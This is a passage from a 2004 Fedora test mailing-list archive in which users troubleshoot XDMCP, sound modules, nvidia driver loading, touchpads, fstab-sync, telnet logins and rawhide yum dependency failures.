conf(s) and set it off with =0 and yo should get the fedora-release package updated. -jef From Baer at BaerSolutions.com Sun Nov 7 18:56:19 2004 From: Baer at BaerSolutions.com (R. Scott Baer) Date: Sun, 07 Nov 2004 13:56:19 -0500 Subject: FC3 test 3 and xdmcp access In-Reply-To: <1099790763.8160.2.camel@family> References: <418D707D.2070800@BaerSolutions.com> <1099790763.8160.2.camel@family> Message-ID: <418E6FD3.6030202@BaerSolutions.com> Sandy, Thanks for the response.. though I did do the following... >I think XDMCP is now disabled by default. Go to System Settings => >Login Screen and on the XDMCP tab click on Enable XDMCP. > > after I enabled the option vi the login setting. >However, if you're using cygwin's X then you may want to just "ssh -X >username at remote" from an xterm. > > > I would agree that this is the sensible approach, and what I would use most of the time. The problem I have is that it gives the user the option to access the desktop this way, it should work. Could someone could verify that this is an issue. Thanks, Scott From kyrre at solution-forge.net Sun Nov 7 19:01:42 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 07 Nov 2004 20:01:42 +0100 Subject: Openoffice.org right click In-Reply-To: <1099839620.9277.17.camel@P4.AAA> References: <418D8606.8050704@optonline.net> <1099833461.2704.9.camel@kyrre> <1099839620.9277.17.camel@P4.AAA> Message-ID: <1099854101.4385.1.camel@kyrre> s?n, 07.11.2004 kl. 16.00 skrev Philippe: > On Sun, 2004-11-07 at 20:17, Kyrre Ness Sjobak wrote: > > No it dose'nt chrash (assuming you don't run out of memory/swap and the > > kernel kill's it...), it just uses a hell of a lot of time... Why the > > *hell* has it to load *all* dictionaries? > > Hi, > > As I was having this problem a month ago, I decided to "fix" the > dictionary list. I found it in : > /usr/lib/ooo-1.1/share/dict/ooo/ and itd name is dictionary.lst. > Just save the original, and delete any dictionnary you don't need. > It works for me. > > Moreover, I had duplicates in this list !!! For every words to be > corrected, OO gave me twice the good answer ! > > Somebody told me about : $HOME/.rhopenoffice-1.1/dictionary.lst. It does > not seem to be used anymore, at least for my configuration. Maybe > because of an "all-user" install. > > Hope this helps, > > Philippe (FC2) > -- > Philippe, Chiangmai, Thailand Thanks! I will then kill all the dictionaries that are uneccessary for me. /methinks it will help performance *a lot*... From kyrre at solution-forge.net Sun Nov 7 19:06:44 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 07 Nov 2004 20:06:44 +0100 Subject: FC3 test 3 and xdmcp access In-Reply-To: <418E6FD3.6030202@BaerSolutions.com> References: <418D707D.2070800@BaerSolutions.com> <1099790763.8160.2.camel@family> <418E6FD3.6030202@BaerSolutions.com> Message-ID: <1099854404.4385.6.camel@kyrre> s?n, 07.11.2004 kl. 19.56 skrev R. Scott Baer: > Sandy, > Thanks for the response.. though I did do the following... > > >I think XDMCP is now disabled by default. Go to System Settings => > >Login Screen and on the XDMCP tab click on Enable XDMCP. > > > > > after I enabled the option vi the login setting. > > >However, if you're using cygwin's X then you may want to just "ssh -X > >username at remote" from an xterm. > > > > > > > > I would agree that this is the sensible approach, and what I would use > most of the time. The problem I have is that it gives the user the > option to access the desktop this way, it should work. Could someone > could verify that this is an issue. > > Thanks, > > Scott What do you mean? Has XDMCP been activated by *default*? Or did a package upgrade turn XDMCP off (even if you had manualy enable it?) From rpa4email at rogers.com Sun Nov 7 19:18:12 2004 From: rpa4email at rogers.com (Robert Couture) Date: Sun, 7 Nov 2004 14:18:12 -0500 Subject: yum update from RC5 to full release possible? In-Reply-To: <604aa791041107104349168071@mail.gmail.com> References: <200411060111.24328.gene.heskett@verizon.net> <200411071326.40695.rpa4email@rogers.com> <604aa791041107104349168071@mail.gmail.com> Message-ID: <200411071418.12238.rpa4email@rogers.com> On November 7, 2004 01:43 pm, Jeff Spaleta wrote: > fedora-release-2.91-4 is i386 > fedora-release-3-rawhide is noarch Ah, okay ... > So.... find the exactarch=1 line in your yum conf(s) and set it off with =0 > and yo should get the fedora-release package updated. Thanks Jef, will do that. I appreciate the info. Robert. From perbj at stanford.edu Sun Nov 7 19:20:34 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Sun, 07 Nov 2004 11:20:34 -0800 Subject: Simultaneous use of mouse and touchpad [Re: Synaptics Touchpad tool source available] In-Reply-To: <1099842067.5076.3.camel@localhost.localdomain> References: <1099839543.3990.2.camel@localhost.localdomain> <20041107153226.GB18759@devserv.devel.redhat.com> <1099842067.5076.3.camel@localhost.localdomain> Message-ID: <1099855233.3906.18.camel@localhost.localdomain> On Sun, 2004-11-07 at 07:41, Kim Lux wrote: > I'd also love to run both the touchpad and a USB mouse at the same time. > I like using the touchpad for quick, little mouse tasks, without taking > my hands from the keyboard. I like using the USB mouse for bigger > things. I agree - and this just works for me. If you plug in a USB mouse, what happens? On my notebook with a Synaptics touchpad both the touchpad and the mouse work when I plug in the mouse. If it doesn't work for you, I'm wondering if the computer's BIOS is doing something "interesting". In that case maybe dmesg output might contain some interesting clues (i.e. perhaps the touchpad actually gets disconnected automatically). Cheers, Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From graydon at epiphyte.net Sun Nov 7 19:28:08 2004 From: graydon at epiphyte.net (Graydon) Date: Sun, 7 Nov 2004 14:28:08 -0500 Subject: interesting dilemma with sound. In-Reply-To: <1099801270.5042.33.camel@localhost.localdomain> References: <1099801270.5042.33.camel@localhost.localdomain> Message-ID: <20041107192808.GE17739@uniserve.com> On Sat, Nov 06, 2004 at 09:21:10PM -0700, Paul scripsit: > I installed flac support, mp3 support, and Realplayer as well. BUT > when I go to play a wav or flac or mp3 file it ~looks~ like it is > playing - meaning the levels on the EQ display are moving, the player > is advancing through the song, but zero sound. I tried Realplayer, > Helix, and XMMS - all with the same results. > > Does anyone have any advice? Running FC3T3. It's very likely that you've got zeroed sound output levels. If you try 'system-config-soundcard' and cannot hear the test sound, run 'alsamixer' as root and make sure you've got reasonable output levels. I've hit this with some kernels, and not with others. It seems to be much improved lately, and no, I have no idea why the alsa levels don't get reliably saved. From mrguytx at austin.rr.com Sun Nov 7 19:52:19 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 13:52:19 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099852372.3526.1.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> <1099804424.5877.14.camel@ricardo.veguilla.net> <1099804667.5877.19.camel@ricardo.veguilla.net> <1099805913.3599.2.camel@guyleidadell> <1099807461.5877.27.camel@ricardo.veguilla.net> <1099809644.3535.1.camel@guyleidadell> <1099848872.21760.20.camel@orion> <1099852372.3526.1.camel@guyleidadell> Message-ID: <1099857139.3980.1.camel@guyleidadell> On Sun, 2004-11-07 at 12:32 -0600, W. Guy Thomas wrote: > weird, in system settings/display, I can pick 16x12 but not in > preferences/screen resolution, it only goes to 1400, also it lists the > refresh there as 60hz... > > do you have nvidia geforce 4 (generic) as your graphics card in system > settings/display? > > darnit, I can tell I'm close... > > G > > On Sun, 2004-11-07 at 10:34 -0700, Steve Fink wrote: > > Guy, > > > > My C840 does 1600x1200 with no problem. I noticed that you are still > > loading DRI in your xorg.conf. Unless the Nvidia driver has changed > > recently this is supposed to be off, FWIW. > > > > This is a stippit from my xorg.conf on Monitor. > > > > Section "Monitor" > > Identifier "Monitor0" > > VendorName "Monitor Vendor" > > ModelName "Dell 1600x1200 Laptop Display Panel" > > HorizSync 31.5 - 90.0 > > VertRefresh 59.0 - 85.0 > > Option "dpms" > > EndSection > > > > > > Note the VertRefresh, it has to be higher than 60hz to allow 1600x1200, > > or X will not validate that configuration. > > > > Best, > > > > Steve > > > > > > > ok, no joy on this at all. It does try to get to 1600 but the screen blanks and nothing ever appears. I still don't get why I can pick 1600 in the system settings but not in preferences, and why refresh of 60 shows up in preferences instead of 85. been struggling with this for weeks, but just loaded the true nvidia drivers last night, they are nice at least, but I'd like that last bump to 1600x1200 res. -- =Guy 13:50:33 up 16 min, 2 users, load average: 1.58, 1.03, 0.53 From paul at thespps.org Sun Nov 7 19:56:40 2004 From: paul at thespps.org (Paul) Date: Sun, 07 Nov 2004 12:56:40 -0700 Subject: interesting dilemma with sound. In-Reply-To: <20041107192808.GE17739@uniserve.com> References: <1099801270.5042.33.camel@localhost.localdomain> <20041107192808.GE17739@uniserve.com> Message-ID: <1099857400.21305.6.camel@localhost.localdomain> Just in case someone else comes across this problem, the solution that ended up working was adding: snd-intel8x0m to /etc/hotplug/blacklist and all works now. Thanks for all the suggestions. From mrguytx at austin.rr.com Sun Nov 7 20:05:17 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 14:05:17 -0600 Subject: interesting dilemma with sound. In-Reply-To: <1099857400.21305.6.camel@localhost.localdomain> References: <1099801270.5042.33.camel@localhost.localdomain> <20041107192808.GE17739@uniserve.com> <1099857400.21305.6.camel@localhost.localdomain> Message-ID: <1099857918.3980.3.camel@guyleidadell> On Sun, 2004-11-07 at 12:56 -0700, Paul wrote: > Just in case someone else comes across this problem, the solution that > ended up working was adding: > > snd-intel8x0m > > to > /etc/hotplug/blacklist > > and all works now. > > Thanks for all the suggestions. > > wtf? how did you figure that out? -- =Guy 14:05:01 up 31 min, 2 users, load average: 1.27, 1.18, 0.99 From lux at diesel-research.com Sun Nov 7 20:05:21 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 07 Nov 2004 13:05:21 -0700 Subject: Simultaneous use of mouse and touchpad [Re: Synaptics Touchpad tool source available] In-Reply-To: <1099855233.3906.18.camel@localhost.localdomain> References: <1099839543.3990.2.camel@localhost.localdomain> <20041107153226.GB18759@devserv.devel.redhat.com> <1099842067.5076.3.camel@localhost.localdomain> <1099855233.3906.18.camel@localhost.localdomain> Message-ID: <1099857921.3790.1.camel@localhost.localdomain> Both of mine work too, Per. I was thinking that maybe the newer drivers disabled this functionality. I'm glad to hear they don't. On Sun, 2004-11-07 at 11:20 -0800, Per Bjornsson wrote: > On Sun, 2004-11-07 at 07:41, Kim Lux wrote: > > I'd also love to run both the touchpad and a USB mouse at the same time. > > I like using the touchpad for quick, little mouse tasks, without taking > > my hands from the keyboard. I like using the USB mouse for bigger > > things. > > I agree - and this just works for me. If you plug in a USB mouse, what > happens? On my notebook with a Synaptics touchpad both the touchpad and > the mouse work when I plug in the mouse. > > If it doesn't work for you, I'm wondering if the computer's BIOS is > doing something "interesting". In that case maybe dmesg output might > contain some interesting clues (i.e. perhaps the touchpad actually gets > disconnected automatically). > > Cheers, > Per > > -- > Per Bjornsson > Ph.D. Candidate, Department of Applied Physics, Stanford University > -- Kim Lux (Mr.) Diesel Research Inc From ufo at linux.net.mk Sun Nov 7 20:11:14 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Sun, 07 Nov 2004 21:11:14 +0100 Subject: no sound with kernel-2.6.9-1.667 In-Reply-To: <1099847415.3581.0.camel@guyleidadell> References: <418E28F8.9010100@linux.net.mk> <1099847415.3581.0.camel@guyleidadell> Message-ID: <418E8162.9070800@linux.net.mk> W. Guy Thomas wrote: >I upgraded mine a couple days ago as well and didn't see this issue. >What kind of sound card? > Onboard AC 97. Used to work fine with module snd_via82xx. From paul at thespps.org Sun Nov 7 20:29:58 2004 From: paul at thespps.org (Paul) Date: Sun, 07 Nov 2004 13:29:58 -0700 Subject: interesting dilemma with sound. In-Reply-To: <1099857918.3980.3.camel@guyleidadell> References: <1099801270.5042.33.camel@localhost.localdomain> <20041107192808.GE17739@uniserve.com> <1099857400.21305.6.camel@localhost.localdomain> <1099857918.3980.3.camel@guyleidadell> Message-ID: <1099859398.21305.8.camel@localhost.localdomain> On Sun, 2004-11-07 at 14:05 -0600, W. Guy Thomas wrote: > On Sun, 2004-11-07 at 12:56 -0700, Paul wrote: > > Just in case someone else comes across this problem, the solution that > > ended up working was adding: > > > > snd-intel8x0m > > > > to > > /etc/hotplug/blacklist > > > > and all works now. > > > > Thanks for all the suggestions. > > > > > > wtf? > how did you figure that out? google. After I know I had a problem with the mixer from another suggestion here, I googled for the error I got and there were several suggestions, this is the one that worked... From pnasrat at redhat.com Sun Nov 7 20:45:08 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Sun, 7 Nov 2004 15:45:08 -0500 Subject: Synaptics Touchpad tool source available In-Reply-To: <1099842067.5076.3.camel@localhost.localdomain> References: <1099839543.3990.2.camel@localhost.localdomain> <20041107153226.GB18759@devserv.devel.redhat.com> <1099842067.5076.3.camel@localhost.localdomain> Message-ID: <20041107204508.GA10571@devserv.devel.redhat.com> On Sun, Nov 07, 2004 at 08:41:07AM -0700, Kim Lux wrote: > > BTW: I'd love to run symdaemon. I think that is a great addition to the > driver. RFE against synaptics in bugzilla. > I'd also love to run both the touchpad and a USB mouse at the same time. This *should* work. Can you file a bugzilla against system-config-display and then attach (not paste) an uncompressed copy of your xorg.conf. Paul From douglas.furlong at firebox.com Sun Nov 7 21:04:18 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Sun, 07 Nov 2004 21:04:18 +0000 Subject: Where did updfstab go? In-Reply-To: <418CD176.10602@firebox.com> References: <418C046C.7080206@firebox.com> <20041105160006.B542@mail.harddata.com> <418CD176.10602@firebox.com> Message-ID: <418E8DD2.6020309@firebox.com> Douglas Furlong wrote: > Michal Jaegermann wrote: > >> On Fri, Nov 05, 2004 at 10:53:32PM +0000, Douglas Furlong wrote: >> >> >>> I had a look at the fstab-sync --add option, but I don't know how to >>> find the unique UDI's. >>> >> >> >> That is precisely why I asked for some examples in documenation. >> Try 'lshal' (likely with some options). >> >> Michal >> >> >> > Okay, well I had a look at that, and I beleive I have found the > device, but what do I do about this? > > udi = '/org/freedesktop/Hal/devices/block_4183-9C1C' > volume.mount_point = '' (string) > volume.policy.mount_option.noatime = true (bool) > volume.policy.mount_option.sync = true (bool) > volume.policy.mount_option.fscontext=system_u:object_r:removable_t = > true (bool) > volume.policy.desired_mount_point = 'SILVERSTICK' (string) > volume.policy.mount_filesystem = 'vfat' (string) > volume.policy.should_mount = true (bool) > info.udi = '/org/freedesktop/Hal/devices/block_4183-9C1C' (string) > volume.partition.msdos_part_table_type = 11 (0xb) (int) > volume.size = 261632000 (0xf983000) (uint64) > volume.block_size = 512 (0x200) (int) > volume.num_blocks = 511000 (0x7cc18) (int) > volume.partition.number = 1 (0x1) (int) > volume.is_partition = true (bool) > volume.is_mounted = false (bool) > volume.is_disc = false (bool) > volume.uuid = '4183-9C1C' (string) > volume.label = 'SILVERSTICK' (string) > volume.fsversion = 'FAT16' (string) > volume.fsusage = 'filesystem' (string) > volume.fstype = 'vfat' (string) > info.product = 'SILVERSTICK' (string) > block.storage_device = '/org/freedesktop/Hal/devices/block_8_0' > (string) > block.minor = 1 (0x1) (int) > block.major = 8 (0x8) (int) > info.capabilities = 'block volume' (string) > info.category = 'volume' (string) > info.parent = '/org/freedesktop/Hal/devices/block_8_0' (string) > block.device = '/dev/sda1' (string) > block.is_volume = true (bool) > block.have_scanned = false (bool) > block.no_partitions = false (bool) > linux.sysfs_path_device = '/sys/block/sda/sda1' (string) > linux.sysfs_path = '/sys/block/sda/sda1' (string) > info.bus = 'block' (string) > > [root at slaney 90defaultpolicy]# fstab-sync -v -- > add='/org/freedesktop/Hal/devices/block_4183-9C1C' > 6799: mount_root='/media' > 6799: use_managed=1 > 6799: managed primary='managed' > 6799: managed secondary='kudzu' > 6799: Line ended prematurely > 6799: Could not parse data from '/etc/fstab' > > > [root at slaney 90defaultpolicy]# cat /etc/fstab # This file is edited by > fstab-sync - see 'man fstab-sync' for details > /dev/VolGroup00/LogVol00 / ext3 defaults > 1 1 > LABEL=/boot /boot ext3 defaults > 1 2 > none /dev/pts devpts gid=5,mode=620 > 0 0 > none /dev/shm tmpfs defaults > 0 0 > none /proc proc defaults > 0 0 > none /sys sysfs defaults > 0 0 > /dev/VolGroup00/LogVol01 swap swap defaults > 0 0 > /dev/VolGroup00/Movies /media/Movies ext3 rw,acl > 1 2 > /dev/VolGroup00/TV_Episodes /media/TV_Episodes ext3 rw,acl > 1 2 > /dev/VolGroup00/Music /media/Music ext3 rw,acl > 1 2 > /dev/VolGroup00/Music /media/Software ext3 rw,acl > 1 2 > > # NFS Shares > corrig:/home /home nfs > /dev/scd0 /media/cdrecorder auto > pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,managed > 0 0 > /dev/hdc /media/cdrom auto > pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,managed > 0 0 > /dev/fd0 /media/floppy auto > pamconsole,fscontext=system_u:object_r:removable_t,exec,noauto,managed 0 > 0 > > I have raised a bug against this issue. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138301 Doug From jqian2003 at comcast.net Sun Nov 7 21:28:40 2004 From: jqian2003 at comcast.net (jqian) Date: Sun, 7 Nov 2004 16:28:40 -0500 Subject: telnet server problem Message-ID: <001a01c4c510$c0bb5e70$0200a8c0@dragonfly> Hi, I'm encountering a problem I've never had before after install Fedora Core 3 test3: I enable the telnet server, and it runs as part of xinetd. But when I try logging in, the server doesn't give me an opportunity to enter a username; the "Login:" prompt doesn't appear. All that happens is three messages of "Login incorrect" in quick succession. When I examine /var/log/secure, the logs have "login: FAILED LOGIN SESSION FROM 192.168.0.2 FOR (null), Authentication failure" So apparently the server compeletely ignores me having to type a username for it. This problem occurs when i trying telnetting to localhost also. What would be the problem here? I don't have a very good knowledge of the new permissions from such things like SELinux, so could these have something to do with it? Thanks From jspaleta at gmail.com Sun Nov 7 17:27:53 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sun, 7 Nov 2004 12:27:53 -0500 Subject: Yum update fails python deps today... In-Reply-To: <1099844552.4800.0.camel@spike-home.comcast.net> References: <1099844552.4800.0.camel@spike-home.comcast.net> Message-ID: <604aa791041107092763801738@mail.gmail.com> On Sun, 07 Nov 2004 09:22:32 -0700, Christopher A. Williams wrote: > Running updated on FC3T3 this morning fail with a number of python deps. > Following is a snippet of the last part of the output: Welcome to rawhide! Clearly packages were added in such a way that either they were packages with dependancy problems, or some packages failed to build in the automated build system. Figure out which packages are having problems or were not rebuilt and file bugs against the devel tree. But lets be clear this is not a yum problem, and what you are seeing is expected behavior from the development tree. The development tree... just came out of release freeze. And very new.. very raw packages are now showing up in the development tree. Its not completely unexpected to see very new packages be included that have packaging problems, like missing dependancies or wrong dependancies. You can't really think of the development tree as being updates for fc3test releases any longer. What development is being used for starting yesterday, is staging for fc4. The development tree (aka rawhide) has seasons of a sort related to the release cycle. In the weeks leading up to a release during the scheduled testing phase, the development tree stabilizes a great deal, and the risk of major problems associated with doing a full update against the developmentr tree lowers. Right before a release, the development tree freezes in prepration for the release building. But after the release freeze ends. New packages and new component versions start showing up and stability and self consistency of development tree becomes very erratic. Making doing a full sync agaisnt the development tree very unlikely to succeed, and greatly increasing the risk that you will install a package that is broken enough to require drastic action to recover a working system. I would recommend that you stop doing updates against the development tree now, unless you are prepared to encounter and deal with drastic stability and packaging issues. If you can't stop cold turkey, then you should at least stop trying to do full updates, and start doing very targetted package updates is small groups so that you can be better prepared to diagnose what new package is causing a problem and report to bugzilla. -jef"If test releases and updates during testing phase eat your babies... the development tree outside of a scheduled test phase will eat your babies and sterlize you with lethal levels of radiation."spaleta From chrisw01 at privatei.com Sun Nov 7 21:59:02 2004 From: chrisw01 at privatei.com (Christopher A. Williams) Date: Sun, 07 Nov 2004 14:59:02 -0700 Subject: Yum update fails python deps today... In-Reply-To: <604aa791041107092763801738@mail.gmail.com> References: <1099844552.4800.0.camel@spike-home.comcast.net> <604aa791041107092763801738@mail.gmail.com> Message-ID: <1099864742.6015.6.camel@spike-home.comcast.net> On Sun, 2004-11-07 at 12:27 -0500, Jeff Spaleta wrote: > On Sun, 07 Nov 2004 09:22:32 -0700, Christopher A. Williams > wrote: > > Running updated on FC3T3 this morning fail with a number of python deps. > > Following is a snippet of the last part of the output: > > Welcome to rawhide! Clearly packages were added in such a way that > either they were packages with dependancy problems, or some packages > failed to build in the automated build system. Figure out which > packages are having problems or were not rebuilt and file bugs against > the devel tree. But lets be clear this is not a yum problem, and what > you are seeing is expected behavior from the development tree. ...Ummm I'm already aware of this. Not the issue. > > The development tree... just came out of release freeze. And very > new.. very raw packages are now showing up in the development tree. > Its not completely unexpected to see very new packages be included > that have packaging problems, like missing dependancies or wrong > dependancies. You can't really think of the development tree as being > updates for fc3test releases any longer. What development is being > used for starting yesterday, is staging for fc4. ..snip... > I also didn't need your "lecture" - I've been around long enough on these trees (let's see... like since FC1 was still called an RHL beta) to know the score here. Just because the development tree becomes unstable doesn't mean it shouldn't be brought up. Did you get up on the wrong side of the bed this morning? Report an issue with packages on rawhide and get treated with real disrespect. sigh... I'll go back to my patching now... Chris > -- ====================== When the solution is simple, God is answering. -- Albert Einstein From seandarcy at hotmail.com Sun Nov 7 23:17:31 2004 From: seandarcy at hotmail.com (sean darcy) Date: Sun, 07 Nov 2004 18:17:31 -0500 Subject: printconf imports wrong PyXML module Message-ID: Updating: 1:system-config-printer ########################################### [ 50%] Traceback (most recent call last): File "/usr/share/printconf/util/updateconf.py", line 29, in ? import printconf_conf as conf File "/usr/share/printconf/util/printconf_conf.py", line 83, in ? from xml.utils import qp_xml ImportError: No module named utils PyXML-0.8.3-6 puts qp_xml in site-packages/_xmlplus/utils/qp_xml.py. printconf_conf.py, line 83, should be: from _xmlplus.utils import qp_xml sean From ernesto at ornl.gov Sun Nov 7 23:19:37 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sun, 07 Nov 2004 18:19:37 -0500 Subject: nvidia driver does not load via modprobe.conf Message-ID: <1099869577.4760.4.camel@lion> Hi, I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. The driver does not load upon reboot which leads to X failing. I noticed the following line in my modprobe.conf file: ================ modprobe.conf snippet ========================= alias ieee1394-controller ohci1394 alias char-major-195* nvidia ================================================================ After running "modprobe nvidia" manually everything works. However, next time I boot up it is gone again. Does anyone know the magic trick here? Thanks, Ernesto From bavinic at comcast.net Sun Nov 7 23:35:07 2004 From: bavinic at comcast.net (Jim Martin) Date: Sun, 07 Nov 2004 18:35:07 -0500 Subject: nvidia driver does not load via modprobe.conf In-Reply-To: <1099869577.4760.4.camel@lion> References: <1099869577.4760.4.camel@lion> Message-ID: <418EB12B.20309@comcast.net> Ernest L. Williams Jr. wrote: >Hi, > >I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. > >The driver does not load upon reboot which leads to X failing. > >I noticed the following line in my modprobe.conf file: > >================ modprobe.conf snippet ========================= >alias ieee1394-controller ohci1394 >alias char-major-195* nvidia >================================================================ > >After running "modprobe nvidia" manually everything works. However, >next time I boot up it is gone again. > > >Does anyone know the magic trick here? > > > >Thanks, >Ernesto > > > What I do is edit /etc/rc.d/rc.sysinit where it says other="" I put other="nvidia" works for me, also, if you are going to do that, you will need to either remove the rhgb from the grub menu, or make a copy of your xorg.conf and copy it to /etc/rhgb/xorg.conf and replace the area where it says nvidia with nv , this will allow for fedora graphics on boot, and will still use the nvidia module for gdm and x. Jim From mrguytx at austin.rr.com Sun Nov 7 23:53:50 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 17:53:50 -0600 Subject: nvidia driver does not load via modprobe.conf In-Reply-To: <418EB12B.20309@comcast.net> References: <1099869577.4760.4.camel@lion> <418EB12B.20309@comcast.net> Message-ID: <1099871630.3980.5.camel@guyleidadell> On Sun, 2004-11-07 at 18:35 -0500, Jim Martin wrote: > Ernest L. Williams Jr. wrote: > > >Hi, > > > >I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. > > > >The driver does not load upon reboot which leads to X failing. > > > >I noticed the following line in my modprobe.conf file: > > > >================ modprobe.conf snippet ========================= > >alias ieee1394-controller ohci1394 > >alias char-major-195* nvidia > >================================================================ > > > >After running "modprobe nvidia" manually everything works. However, > >next time I boot up it is gone again. > > > > > >Does anyone know the magic trick here? > > > > > > > >Thanks, > >Ernesto > > > > > > > What I do is edit /etc/rc.d/rc.sysinit > where it says other="" I put other="nvidia" works for me, > > also, if you are going to do that, you will need to either remove the > rhgb from the grub menu, or make a copy of your xorg.conf and copy it to > /etc/rhgb/xorg.conf and replace the area where it says nvidia with nv , > this will allow for fedora graphics on boot, and will still use the > nvidia module for gdm and x. > > Jim > or add '/sbin/modprobe nvidia' in /etc/rc.local (no quotes of course) -- =Guy 17:53:14 up 4:19, 2 users, load average: 0.77, 0.76, 0.86 From mrguytx at austin.rr.com Sun Nov 7 23:59:16 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 17:59:16 -0600 Subject: no sound with kernel-2.6.9-1.667 In-Reply-To: <418E8162.9070800@linux.net.mk> References: <418E28F8.9010100@linux.net.mk> <1099847415.3581.0.camel@guyleidadell> <418E8162.9070800@linux.net.mk> Message-ID: <1099871956.3980.8.camel@guyleidadell> On Sun, 2004-11-07 at 21:11 +0100, Arangel Angov wrote: > W. Guy Thomas wrote: > > >I upgraded mine a couple days ago as well and didn't see this issue. > >What kind of sound card? > > > > Onboard AC 97. Used to work fine with module snd_via82xx. > this is just a guess, but what version of udev are you running? rpm -q udev -- =Guy 17:55:24 up 4:21, 2 users, load average: 2.17, 1.20, 1.00 From bavinic at comcast.net Sun Nov 7 23:44:07 2004 From: bavinic at comcast.net (Jim Martin) Date: Sun, 07 Nov 2004 18:44:07 -0500 Subject: nvidia driver does not load via modprobe.conf In-Reply-To: <1099869577.4760.4.camel@lion> References: <1099869577.4760.4.camel@lion> Message-ID: <418EB347.20602@comcast.net> Ernest L. Williams Jr. wrote: >Hi, > >I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. > >The driver does not load upon reboot which leads to X failing. > >I noticed the following line in my modprobe.conf file: > >================ modprobe.conf snippet ========================= >alias ieee1394-controller ohci1394 >alias char-major-195* nvidia >================================================================ > >After running "modprobe nvidia" manually everything works. However, >next time I boot up it is gone again. > > >Does anyone know the magic trick here? > > > >Thanks, >Ernesto > > > Sorry, that was a rushed reply: more detail: In the rc.sysinit file look for the section marked like this: echo -n $"Initializing hardware... " ide="" scsi="" network="" audio="" other="" Replace other="" with other="nvidia" and save it. if the fedora core graphic boot is important to you, then you need to make a copy of your xorg.conf and copy it to your /etc/rhgb/xorg.conf and under the section for your video card, change it back to nv Section "Device" Identifier "Videocard0" Driver "nv" VendorName "Videocard vendor" BoardName "NVIDIA GeForce FX (generic)" EndSection this will allow rhgb to use the nv driver, and your gdm and xwindows will use the nvidia module so that you have enhanced graphics. if graphical boot is not important to you, then you need to edit the kernel line in /boot/grub/grub.conf and remove the rhgb otherwise it may ( and most likely will) lock up when booting. kernel /vmlinuz-2.6.9-1.667 ro root=/dev/VolGroup00/LogVol00 quiet Hope this was a little clearer. BaVinic From jspaleta at gmail.com Sun Nov 7 23:54:25 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sun, 7 Nov 2004 18:54:25 -0500 Subject: telnet server problem In-Reply-To: <001a01c4c510$c0bb5e70$0200a8c0@dragonfly> References: <001a01c4c510$c0bb5e70$0200a8c0@dragonfly> Message-ID: <604aa7910411071554706b7c61@mail.gmail.com> On Sun, 7 Nov 2004 16:28:40 -0500, jqian wrote: > What would be the problem here? pam perhaps, but i just enabled telnet-server on my test box and I can't reproduce this problem.. and i quick search in bugzilla doesn't show this as being reported. If this message had been sent a week ago, I would have advised you to update your test box to the available packages in the development tree or to test install a release candidate mediaset to see if the problem has been solved. But considering this message is on th eve of fc3 release and the development tree is past release freeze, I don't think there is a reasonable course of action other than getting fc3 as soon as its available and doing a fresh install of fc3 and see if you can reproduce the problem. -jef From ernesto at ornl.gov Mon Nov 8 00:04:00 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sun, 07 Nov 2004 19:04:00 -0500 Subject: nvidia driver does not load via modprobe.conf In-Reply-To: <418EB12B.20309@comcast.net> References: <1099869577.4760.4.camel@lion> <418EB12B.20309@comcast.net> Message-ID: <1099872240.4912.1.camel@lion> On Sun, 2004-11-07 at 18:35 -0500, Jim Martin wrote: > Ernest L. Williams Jr. wrote: > > >Hi, > > > >I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. > > > >The driver does not load upon reboot which leads to X failing. > > > >I noticed the following line in my modprobe.conf file: > > > >================ modprobe.conf snippet ========================= > >alias ieee1394-controller ohci1394 > >alias char-major-195* nvidia > >================================================================ > > > >After running "modprobe nvidia" manually everything works. However, > >next time I boot up it is gone again. > > > > > >Does anyone know the magic trick here? > > > > > > > >Thanks, > >Ernesto > > > > > > > What I do is edit /etc/rc.d/rc.sysinit > where it says other="" I put other="nvidia" works for me, > y Cool!! This worked for me. Why does this have to be done? Is it because the NVIDIA driver is proprietary and "taints" the kernel? > also, if you are going to do that, you will need to either remove the > rhgb from the grub menu, or make a copy of your xorg.conf and copy it to > /etc/rhgb/xorg.conf and replace the area where it says nvidia with nv , > this will allow for fedora graphics on boot, and will still use the > nvidia module for gdm and x. > > Jim > From rpaiz at simpaticus.com Mon Nov 8 00:06:59 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sun, 07 Nov 2004 18:06:59 -0600 Subject: Yum update fails python deps today... In-Reply-To: <604aa791041107092763801738@mail.gmail.com> References: <1099844552.4800.0.camel@spike-home.comcast.net> 